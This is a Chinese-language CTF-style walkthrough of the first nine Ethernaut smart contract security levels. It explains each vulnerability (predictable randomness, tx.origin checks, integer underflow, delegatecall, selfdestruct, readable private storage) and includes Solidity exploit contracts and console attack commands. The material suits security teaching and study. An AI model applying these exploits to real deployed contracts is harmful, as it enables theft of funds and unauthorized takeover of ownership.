Ethernaut闯关录(上)
字数 1298 2025-08-22 12:22:43
Ethernaut智能合约安全闯关教学文档
前言
Ethernaut是一个类似CTF的智能合约安全学习平台,集成了多种智能合约安全问题。本教学文档将详细解析Ethernaut平台的前半部分关卡,涵盖合约分析、漏洞原理和攻击流程。
环境准备
- Chrome浏览器
- MetaMask插件(以太坊轻钱包)
- 配置MetaMask使用测试网络并充值测试ETH
基础交互
控制台操作
- 输入
player查看玩家地址 - 输入
getBalance(player)查看ETH余额 - 输入
help查看可用命令 - 输入
Ethernaut查看合约可用函数
合约交互
通过await contract.functionName()方式调用合约函数
关卡详解
1. Hello Ethernaut
目标:熟悉平台基本操作
解题步骤:
- 获取实例
- 按提示依次调用合约函数:
await contract.info() await contract.info1() await contract.info2("hello") await contract.infoNum() await contract.info42() await contract.theMethodName() await contract.method7123949() await contract.password() await contract.authenticate("ethernaut0") - 提交实例
关键点:熟悉合约函数调用和参数传递
2. Fallback
目标:
- 成为合约owner
- 将合约余额减为0
合约分析:
- 通过
contribute()贡献ETH可成为owner,但需要贡献1000ETH(不现实) - 触发fallback函数可成为owner:
function() payable public { require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender; }
攻击流程:
- 贡献少量ETH使贡献值>0:
await contract.contribute({value: 1}) - 触发fallback:
await contract.sendTransaction({value: 1}) - 提取资金:
await contract.withdraw()
3. Fallout
目标:获取合约owner权限
漏洞:构造函数名称拼写错误(Fal1out vs Fallout),使其成为普通public函数
攻击流程:
await contract.Fal1out()
4. Coin Flip
目标:连续10次正确猜测硬币翻转结果
漏洞:随机数生成不安全,基于区块哈希:
uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));
uint256 coinFlip = blockValue.div(FACTOR); // FACTOR=2^255
攻击合约:
contract exploit {
CoinFlip expFlip;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function exploit(address aimAddr) {
expFlip = CoinFlip(aimAddr);
}
function hack() public {
uint256 blockValue = uint256(block.blockhash(block.number-1));
uint256 coinFlip = uint256(uint256(blockValue)/FACTOR);
bool guess = coinFlip == 1 ? true : false;
expFlip.flip(guess);
}
}
攻击流程:
- 部署exploit合约
- 调用hack()至少10次
5. Telephone
目标:获取合约owner权限
漏洞:tx.origin与msg.sender检查不严:
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
攻击合约:
contract exploit {
Telephone target = Telephone(目标地址);
function hack(){
target.changeOwner(msg.sender);
}
}
6. Token
目标:获取更多Token(初始20个)
漏洞:整数下溢:
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0); // 无符号整数下溢
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
攻击流程:
await contract.transfer(任意地址, 21) // 导致balances[msg.sender]下溢
7. Delegation
目标:获取合约owner权限
漏洞:delegatecall使用不当:
function() public {
if(delegate.delegatecall(msg.data)) {
this;
}
}
攻击流程:
await contract.sendTransaction({data: web3.sha3("pwn()").slice(0,10)})
8. Force
目标:使合约balance>0
漏洞:合约没有接收ETH的函数
解决方案:使用selfdestruct强制发送ETH
攻击合约:
contract Force {
function Force() public payable {}
function exploit(address _target) public {
selfdestruct(_target);
}
}
9. Vault
目标:解锁合约
漏洞:私有变量存储可见:
bytes32 private password; // 仍可通过存储访问
攻击流程:
- 获取存储中的密码:
web3.eth.getStorageAt(contract.address, 1, function(x,y){alert(web3.toAscii(y))}); - 解锁:
await contract.unlock(获取的密码)
关键安全知识点总结
- 权限控制:检查owner修改路径
- 随机数安全:避免使用可预测的区块变量
- 整数运算:注意上下溢出问题
- 可见性误区:private变量在链上仍可读取
- 特殊函数:
- fallback函数触发条件
- selfdestruct强制转账特性
- 调用上下文:
- tx.origin vs msg.sender
- delegatecall的危险性
后续学习建议
- 继续完成Ethernaut后半部分关卡
- 研究OpenZeppelin安全库的实现
- 学习常见智能合约漏洞模式(如重入、时间依赖等)
- 实践智能合约安全审计方法